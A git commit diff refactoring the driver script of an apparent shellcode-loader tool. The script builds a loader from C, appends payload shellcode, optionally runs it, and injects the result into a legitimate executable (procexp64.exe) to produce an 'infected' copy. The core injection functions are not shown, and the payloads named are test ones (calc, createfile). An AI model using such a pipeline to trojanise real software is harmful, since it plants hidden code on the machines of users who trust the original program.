refactor: better debug and get in-between step results

This commit is contained in:
Dobin
2024-02-05 12:28:38 +00:00
parent 7901b2f0e5
commit f338424d50
2 changed files with 143 additions and 68 deletions
+85 -37
View File
@@ -24,21 +24,26 @@ options_default = {
"payload": "shellcodes/calc64.bin",
"verify": False,
"cleanup_files_on_start": True,
"cleanup_files_on_exit": True, # all is just in out/
"generate_asm_from_c": True,
"generate_shc_from_asm": True,
"test_loader_shellcode": False,
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
"exec_final_shellcode": True,
# configuration
"alloc_style": AllocStyle.RWX,
"exec_style": ExecStyle.CALL,
"copy_style": CopyStyle.SIMPLE,
"dataref_style": DataRefStyle.APPEND
"dataref_style": DataRefStyle.APPEND,
"try_start_loader_shellcode": False, # without payload (Debugging)
"try_start_final_shellcode": True, # with payload (should work)
# cleanup
"cleanup_files_on_start": True,
"cleanup_files_on_exit": True,
# For debugging: Can disable some steps
"generate_asm_from_c": True,
"generate_shc_from_asm": True,
# Not working atm
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
}
@@ -51,24 +56,32 @@ options_verify = {
"payload": "shellcodes/createfile.bin",
"verify": True,
"cleanup_files_on_start": True,
"cleanup_files_on_exit": True, # all is just in out/
# configuration
"alloc_style": AllocStyle.RWX,
"exec_style": ExecStyle.CALL,
"copy_style": CopyStyle.SIMPLE,
"dataref_style": DataRefStyle.APPEND,
"generate_asm_from_c": True,
"generate_shc_from_asm": True,
"test_loader_shellcode": False,
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
"exec_final_shellcode": False,
# testing
"try_start_loader_shellcode": False, # without payload (Debugging)
"try_start_final_shellcode": False, # with payload (should work)
# injecting into exe
"inject_exe": True,
"inject_exe_in": "exes/procexp64.exe",
"inject_exe_out": "out/procexp64-a.exe",
"alloc_style": AllocStyle.RWX,
"exec_style": ExecStyle.CALL,
"copy_style": CopyStyle.SIMPLE,
"dataref_style": DataRefStyle.APPEND
# For debugging: Can disable some steps
"generate_asm_from_c": True,
"generate_shc_from_asm": True,
# cleanup
"cleanup_files_on_start": True,
"cleanup_files_on_exit": True, # all is just in out/
# doesnt work
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
}
@@ -81,6 +94,19 @@ main_exe_file = os.path.join(build_dir, "main.exe")
main_shc_file = os.path.join(build_dir, "main.bin")
debug_data = {
"loader_shellcode": b"",
"payload_shellcode": b"",
"final_shellcode": b"",
"asm_initial": "",
"asm_cleanup": "",
"asm_fixup": "",
"original_exe": b"",
"infected_exe": b"",
}
def main():
print("Super Mega")
@@ -88,17 +114,25 @@ def main():
if options["cleanup_files_on_start"]:
clean_files()
shutil.copy("source/main.c", "build/main.c")
shutil.copy("source/peb_lookup.h", "build/peb_lookup.h")
if options["generate_asm_from_c"]:
with open(options["payload"], 'rb') as input2:
data_payload = input2.read()
l = len(data_payload)
make_c_to_asm(main_c_file, main_asm_file, l)
debug_data["payload_shellcode"] = data_payload
asm = make_c_to_asm(main_c_file, main_asm_file, l)
debug_data["asm_initial"] = asm["initial"]
debug_data["asm_cleanup"] = asm["cleanup"]
debug_data["asm_fixup"] = asm["fixup"]
if options["generate_asm_from_c"]:
make_shc_from_asm(main_asm_file, main_exe_file, main_shc_file)
code = make_shc_from_asm(main_asm_file, main_exe_file, main_shc_file)
debug_data["loader_shellcode"] = code
if options["test_loader_shellcode"]:
test_shellcode(main_shc_file)
if options["try_start_loader_shellcode"]:
try_start_shellcode(main_shc_file)
# SGN seems buggy atm
#if options["obfuscate_shc_loader"]:
@@ -109,41 +143,55 @@ def main():
# return
if options["dataref_style"] == DataRefStyle.APPEND:
print("--[ Merge stager: {} + {} -> {} ] ".format(main_shc_file, options["payload"], main_shc_file))
with open(main_shc_file, 'rb') as input1:
data_stager = input1.read()
with open(options["payload"], 'rb') as input2:
data_payload = input2.read()
print("--[ Integrate Stager: {} Payload: {} (sum: {})]".format(
print("---[ Size: Stager: {} and Payload: {} Sum: {} ]".format(
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
with open(main_shc_file, 'wb') as output:
output.write(data_stager)
output.write(data_payload)
print("---[ Final shellcode available at: {} ]".format(main_shc_file))
data = data_stager + data_payload
output.write(data)
debug_data["final_shellcode"] = data
if options["verify"]:
print("--[ Verify final shellcode ]")
if not verify_shellcode(main_shc_file):
return
if options["exec_final_shellcode"]:
if options["try_start_final_shellcode"]:
print("--[ Test Append shellcode ]")
test_shellcode(main_shc_file)
try_start_shellcode(main_shc_file)
# copy it to out
#shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_bin_clean_append_file)))
shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_shc_file)))
if options["inject_exe"]:
debug_data["original_exe"] = file_readall_binary(options["inject_exe_in"])
inject_exe(main_shc_file, options["inject_exe_in"], options["inject_exe_out"])
if options["verify"]:
print("--[ Verify final exe ]")
verify_injected_exe(options["inject_exe_out"])
if verify_injected_exe(options["inject_exe_out"]):
debug_data["infected_exe"] = file_readall_binary(options["inject_exe_out"])
if options["cleanup_files_on_exit"]:
clean_files()
print("{} {} {} - {} {} {} - {} {}".format(
len(debug_data["loader_shellcode"]),
len(debug_data["payload_shellcode"]),
len(debug_data["final_shellcode"]),
len(debug_data["asm_initial"]),
len(debug_data["asm_cleanup"]),
len(debug_data["asm_fixup"]),
len(debug_data["original_exe"]),
len(debug_data["infected_exe"]),
))
if __name__ == "__main__":
main()